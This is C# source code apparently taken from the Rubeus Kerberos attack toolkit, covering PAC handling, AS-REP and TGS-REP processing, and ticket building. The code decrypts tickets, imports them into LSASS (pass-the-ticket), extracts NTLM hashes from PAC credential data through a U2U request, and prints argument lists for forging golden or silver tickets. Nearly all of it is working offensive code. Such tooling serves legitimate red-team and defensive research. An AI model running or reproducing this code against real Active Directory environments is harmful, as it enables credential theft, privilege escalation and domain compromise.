public void SetPac(PACTYPE pac)
{
if (authorization_data == null)
{
authorization_data = new List <AuthorizationData>();
}
List <AuthorizationData> oldAuthData = new List <AuthorizationData>();
foreach (var authdata in authorization_data)
{
ADIfRelevant tmpifrelevant = new ADIfRelevant();
foreach (var adData in ((ADIfRelevant)authdata).ADData)
{
if (!(adData is ADWin2KPac win2k_pac))
{
tmpifrelevant.ADData.Add(adData);
}
}
if (tmpifrelevant.ADData.Count > 0)
{
oldAuthData.Add(tmpifrelevant);
}
}
authorization_data = new List <AuthorizationData>();
ADIfRelevant ifrelevant = new ADIfRelevant();
ifrelevant.ADData.Add(new ADWin2KPac(pac));
authorization_data.Add(ifrelevant);
foreach (var authdata in oldAuthData)
{
authorization_data.Add(authdata);
}
}
public byte[] CalculateTicketChecksum(byte[] krbKey, Interop.KERB_CHECKSUM_ALGORITHM krbChecksumType)
{
byte[] ticketChecksum = null;
byte[] oldWin2kPacData = null;
PACTYPE oldWin2kPac = null;
EncTicketPart tmpEncTicketPart = this;
// find the PAC and place a zero in it's ad-data
List <AuthorizationData> newAuthData = new List <AuthorizationData>();
foreach (var tmpadData in tmpEncTicketPart.authorization_data)
{
ADIfRelevant tmpifrelevant = new ADIfRelevant();
foreach (var ifrelevant in ((ADIfRelevant)tmpadData).ADData)
{
if (ifrelevant is ADWin2KPac win2k_pac)
{
oldWin2kPacData = win2k_pac.ad_data;
oldWin2kPac = win2k_pac.Pac;
ADWin2KPac tmpWin2k = new ADWin2KPac();
tmpWin2k.ad_data = new byte[] { 0x00 };
tmpWin2k.Pac = null;
tmpifrelevant.ADData.Add(tmpWin2k);
}
else
{
tmpifrelevant.ADData.Add(ifrelevant);
}
}
newAuthData.Add(tmpifrelevant);
}
tmpEncTicketPart.authorization_data = newAuthData;
ticketChecksum = Crypto.KerberosChecksum(krbKey, tmpEncTicketPart.Encode().Encode(), krbChecksumType);
foreach (var tmpadData in tmpEncTicketPart.authorization_data)
{
ADIfRelevant tmpifrelevant = new ADIfRelevant();
foreach (var ifrelevant in ((ADIfRelevant)tmpadData).ADData)
{
if (ifrelevant is ADWin2KPac win2k_pac)
{
win2k_pac.ad_data = oldWin2kPacData;
win2k_pac.Pac = oldWin2kPac;
}
}
}
return(ticketChecksum);
}
protected override void Decode(AsnElt data, byte[] asrepKey = null)
{
foreach (AsnElt s in data.Sub)
{
switch (s.TagValue)
{
case 0:
ad_type = (Interop.AuthorizationDataType)s.Sub[0].GetInteger();
break;
case 1:
ad_data = s.Sub[0].CopyValue();
Pac = new PACTYPE(ad_data, asrepKey);
break;
default:
break;
}
}
}
public bool TicketChecksumExists()
{
bool ret = false;
PACTYPE pt = null;
// get the PAC
if (authorization_data != null)
{
foreach (var addata in authorization_data)
{
foreach (var ifrelevant in ((ADIfRelevant)addata).ADData)
{
if (ifrelevant is ADWin2KPac win2k_pac)
{
pt = win2k_pac.Pac;
}
}
}
}
// If not PAC was retrieved return false
if (pt == null)
{
return(ret);
}
// look for the TicketChecksum
foreach (var pacInfoBuffer in pt.PacInfoBuffers)
{
if (pacInfoBuffer.Type is PacInfoBufferType.TicketChecksum)
{
ret = true;
}
}
return(ret);
}
private static byte[] HandleASREP(AsnElt responseAsn, Interop.KERB_ETYPE etype, string keyString, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, AS_REQ asReq = null, string serviceKey = "", bool getCredentials = false, string dcIP = "")
{
// parse the response to an AS-REP
AS_REP rep = new AS_REP(responseAsn);
// convert the key string to bytes
byte[] key;
if (GetPKInitRequest(asReq, out PA_PK_AS_REQ pkAsReq))
{
// generate the decryption key using Diffie Hellman shared secret
PA_PK_AS_REP pkAsRep = (PA_PK_AS_REP)rep.padata[0].value;
key = pkAsReq.Agreement.GenerateKey(pkAsRep.DHRepInfo.KDCDHKeyInfo.SubjectPublicKey.DepadLeft(), new byte[0],
pkAsRep.DHRepInfo.ServerDHNonce, GetKeySize(etype));
}
else
{
// convert the key string to bytes
key = Helpers.StringToByteArray(asReq.keyString);
}
// decrypt the enc_part containing the session key/etc.
// TODO: error checking on the decryption "failing"...
byte[] outBytes;
if (etype == Interop.KERB_ETYPE.des_cbc_md5)
{
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.rc4_hmac)
{
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1)
{
// KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
{
// KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else
{
throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported");
}
AsnElt ae = AsnElt.Decode(outBytes);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
if (verbose)
{
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
if (Rubeus.Program.wrapTickets)
{
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else
{
Console.WriteLine(" {0}", kirbiString);
}
}
if (!String.IsNullOrEmpty(outfile))
{
outfile = Helpers.MakeValidFileName(outfile);
if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
{
if (verbose)
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
}
}
}
if (ptt || ((ulong)luid != 0))
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes, luid);
}
if (describe)
{
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi, 2, false, false, false, false, string.IsNullOrEmpty(serviceKey) ? null : Helpers.StringToByteArray(serviceKey), key);
}
if (getCredentials)
{
Console.WriteLine("[*] Getting credentials using U2U\r\n");
byte[] u2uBytes = TGS_REQ.NewTGSReq(info.pname.name_string[0], info.prealm, info.pname.name_string[0], cred.tickets[0], info.key.keyvalue, (Interop.KERB_ETYPE)info.key.keytype, Interop.KERB_ETYPE.subkey_keymaterial, false, String.Empty, false, false, false, false, cred, "", true);
byte[] u2uResponse = Networking.SendBytes(dcIP, 88, u2uBytes);
if (u2uResponse == null)
{
return(null);
}
AsnElt u2uResponseAsn = AsnElt.Decode(u2uResponse);
// check the response value
int responseTag = u2uResponseAsn.TagValue;
if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
{
// parse the response to an TGS-REP and get the PAC
TGS_REP u2uRep = new TGS_REP(u2uResponseAsn);
EncTicketPart u2uEncTicketPart = u2uRep.ticket.Decrypt(info.key.keyvalue, key);
PACTYPE pt = u2uEncTicketPart.GetPac(key);
// look for the credential information and print
foreach (var pacInfoBuffer in pt.PacInfoBuffers)
{
if (pacInfoBuffer is PacCredentialInfo ci)
{
Console.WriteLine(" CredentialInfo :");
Console.WriteLine(" Version : {0}", ci.Version);
Console.WriteLine(" EncryptionType : {0}", ci.EncryptionType);
if (ci.CredentialInfo.HasValue)
{
Console.WriteLine(" CredentialData :");
Console.WriteLine(" CredentialCount : {0}", ci.CredentialInfo.Value.CredentialCount);
foreach (var credData in ci.CredentialInfo.Value.Credentials)
{
string hash = "";
if ("NTLM".Equals(credData.PackageName.ToString()))
{
int version = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 0);
int flags = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 4);
if (flags == 3)
{
hash = String.Format("{0}:{1}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(8).Take(16).ToArray()), Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray()));
}
else
{
hash = String.Format("{0}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray()));
}
}
else
{
hash = Helpers.ByteArrayToString((byte[])(Array)credData.Credentials);
}
Console.WriteLine(" {0} : {1}", credData.PackageName, hash);
}
}
else
{
Console.WriteLine(" CredentialData : *** NO KEY ***");
}
}
}
}
else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(u2uResponseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
}
return(kirbiBytes);
}
public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false, bool opsec = false, KRB_CRED tgs = null, string targetDomain = "", string servicekey = "", string asrepkey = "", bool u2u = false, string targetUser = "", bool printargs = false)
{
string dcIP = Networking.GetDCIP(domainController, display);
if (String.IsNullOrEmpty(dcIP))
{
return(null);
}
if (display)
{
if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial)
{
Console.WriteLine("[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket", requestEType);
}
else
{
Console.WriteLine("[*] Requesting '{0}' etype for the service ticket", requestEType);
}
if (!String.IsNullOrEmpty(service))
{
Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service);
}
else if (u2u)
{
Console.WriteLine("[*] Building User-to-User TGS-REQ request for: '{0}'", userName);
}
else
{
Console.WriteLine("[*] Building TGS-REQ request");
}
}
// if /service is empty get name from the supplied /tgs
if (u2u && tgs != null && String.IsNullOrEmpty(service))
{
service = tgs.enc_part.ticket_info[0].pname.name_string[0];
}
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, targetUser, enterprise, roast, opsec, false, tgs, targetDomain, u2u);
byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
if (response == null)
{
return(null);
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
{
if (display)
{
Console.WriteLine("[+] TGS request successful!");
}
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
byte[] outBytes = Crypto.KerberosDecrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// if using /opsec and the ticket is for a server configuration for unconstrained delegation, request a forwardable TGT
if (opsec && (!roast) && ((encRepPart.flags & Interop.TicketFlags.ok_as_delegate) != 0))
{
byte[] tgtBytes = TGS_REQ.NewTGSReq(userName, domain, string.Format("krbtgt/{0}", domain), providedTicket, clientKey, paEType, requestEType, false, "", enterprise, roast, opsec, true);
byte[] tgtResponse = Networking.SendBytes(dcIP, 88, tgtBytes);
}
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = rep.crealm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes, new LUID());
}
if (String.IsNullOrEmpty(servicekey) && u2u)
{
servicekey = Helpers.ByteArrayToString(clientKey);
}
if (display)
{
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
if (Rubeus.Program.wrapTickets)
{
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else
{
Console.WriteLine(" {0}", kirbiString);
}
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi, 2, false, false, false, false,
string.IsNullOrEmpty(servicekey) ? null : Helpers.StringToByteArray(servicekey), string.IsNullOrEmpty(asrepkey) ? null : Helpers.StringToByteArray(asrepkey));
}
if (!String.IsNullOrEmpty(outfile))
{
outfile = Helpers.MakeValidFileName(outfile);
if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
{
if (display)
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
}
}
}
if (!String.IsNullOrEmpty(servicekey) && printargs)
{
var decryptedEncTicket = cred.tickets[0].Decrypt(Helpers.StringToByteArray(servicekey), null);
PACTYPE pt = decryptedEncTicket.GetPac(null);
if (pt == null)
{
Console.WriteLine("[X] Unable to get the PAC");
return(kirbiBytes);
}
string outArgs = String.Empty;
foreach (var pacInfoBuffer in pt.PacInfoBuffers)
{
if (pacInfoBuffer is LogonInfo li)
{
outArgs = String.Format("/user:{0} /id:{1} /pgid:{2} /logoncount:{3} /badpwdcount:{4} /sid:{5} /netbios:{6}", li.KerbValidationInfo.EffectiveName, li.KerbValidationInfo.UserId, li.KerbValidationInfo.PrimaryGroupId, li.KerbValidationInfo.LogonCount, li.KerbValidationInfo.BadPasswordCount, li.KerbValidationInfo.LogonDomainId.GetValue(), li.KerbValidationInfo.LogonDomainName);
if (!String.IsNullOrEmpty(li.KerbValidationInfo.FullName.ToString()))
{
outArgs = String.Format("{0} /displayname:\"{1}\"", outArgs, li.KerbValidationInfo.FullName);
}
if (!String.IsNullOrEmpty(li.KerbValidationInfo.LogonScript.ToString()))
{
outArgs = String.Format("{0} /scriptpath:\"{1}\"", outArgs, li.KerbValidationInfo.LogonScript);
}
if (!String.IsNullOrEmpty(li.KerbValidationInfo.ProfilePath.ToString()))
{
outArgs = String.Format("{0} /profilepath:\"{1}\"", outArgs, li.KerbValidationInfo.ProfilePath);
}
if (!String.IsNullOrEmpty(li.KerbValidationInfo.HomeDirectory.ToString()))
{
outArgs = String.Format("{0} /homedir:\"{1}\"", outArgs, li.KerbValidationInfo.HomeDirectory);
}
if (!String.IsNullOrEmpty(li.KerbValidationInfo.HomeDirectoryDrive.ToString()))
{
outArgs = String.Format("{0} /homedrive:\"{1}\"", outArgs, li.KerbValidationInfo.HomeDirectoryDrive);
}
if (li.KerbValidationInfo.GroupCount > 0)
{
outArgs = String.Format("{0} /groups:{1}", outArgs, li.KerbValidationInfo.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next));
}
if (li.KerbValidationInfo.SidCount > 0)
{
outArgs = String.Format("{0} /sids:{1}", outArgs, li.KerbValidationInfo.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next));
}
if (li.KerbValidationInfo.ResourceGroupCount > 0)
{
outArgs = String.Format("{0} /resourcegroupsid:{1} /resourcegroups:{2}", outArgs, li.KerbValidationInfo.ResourceGroupDomainSid.GetValue().ToString(), li.KerbValidationInfo.ResourceGroupIds.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next));
}
try
{
outArgs = String.Format("{0} /logofftime:\"{1}\"", outArgs, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.LogoffTime.LowDateTime | ((long)li.KerbValidationInfo.LogoffTime.HighDateTime << 32)).ToLocalTime());
}
catch { }
DateTime?passLastSet = null;
try
{
passLastSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordLastSet.LowDateTime | ((long)li.KerbValidationInfo.PasswordLastSet.HighDateTime << 32));
}
catch { }
if (passLastSet != null)
{
outArgs = String.Format("{0} /pwdlastset:\"{1}\"", outArgs, ((DateTime)passLastSet).ToLocalTime());
DateTime?passCanSet = null;
try
{
passCanSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordCanChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordCanChange.HighDateTime << 32));
}
catch { }
if (passCanSet != null)
{
outArgs = String.Format("{0} /minpassage:{1}d", outArgs, (((DateTime)passCanSet) - ((DateTime)passLastSet)).Days);
}
DateTime?passMustSet = null;
try
{
passCanSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordMustChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordMustChange.HighDateTime << 32));
}
catch { }
if (passMustSet != null)
{
outArgs = String.Format("{0} /maxpassage:{1}d", outArgs, (((DateTime)passMustSet) - ((DateTime)passLastSet)).Days);
}
}
if (!String.IsNullOrEmpty(li.KerbValidationInfo.LogonServer.ToString()))
{
outArgs = String.Format("{0} /dc:{1}.{2}", outArgs, li.KerbValidationInfo.LogonServer.ToString(), cred.tickets[0].realm);
}
if ((Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl != Interop.PacUserAccountControl.NORMAL_ACCOUNT)
{
outArgs = String.Format("{0} /uac:{1}", outArgs, String.Format("{0}", (Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl).Replace(" ", ""));
}
}
}
Console.WriteLine("\r\n[*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands:\r\n\r\n{0}\r\n", outArgs);
}
return(kirbiBytes);
}
else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
return(null);
}
public ADWin2KPac(PACTYPE pac)
{
ad_type = Interop.AuthorizationDataType.AD_WIN2K_PAC;
Pac = pac;
}
public ADWin2KPac(byte[] data, byte[] asrepKey)
{
ad_type = Interop.AuthorizationDataType.AD_WIN2K_PAC;
Pac = new PACTYPE(data, asrepKey);
}
public ADWin2KPac(byte[] data)
{
ad_type = Interop.AuthorizationDataType.AD_WIN2K_PAC;
Pac = new PACTYPE(data, null);
}
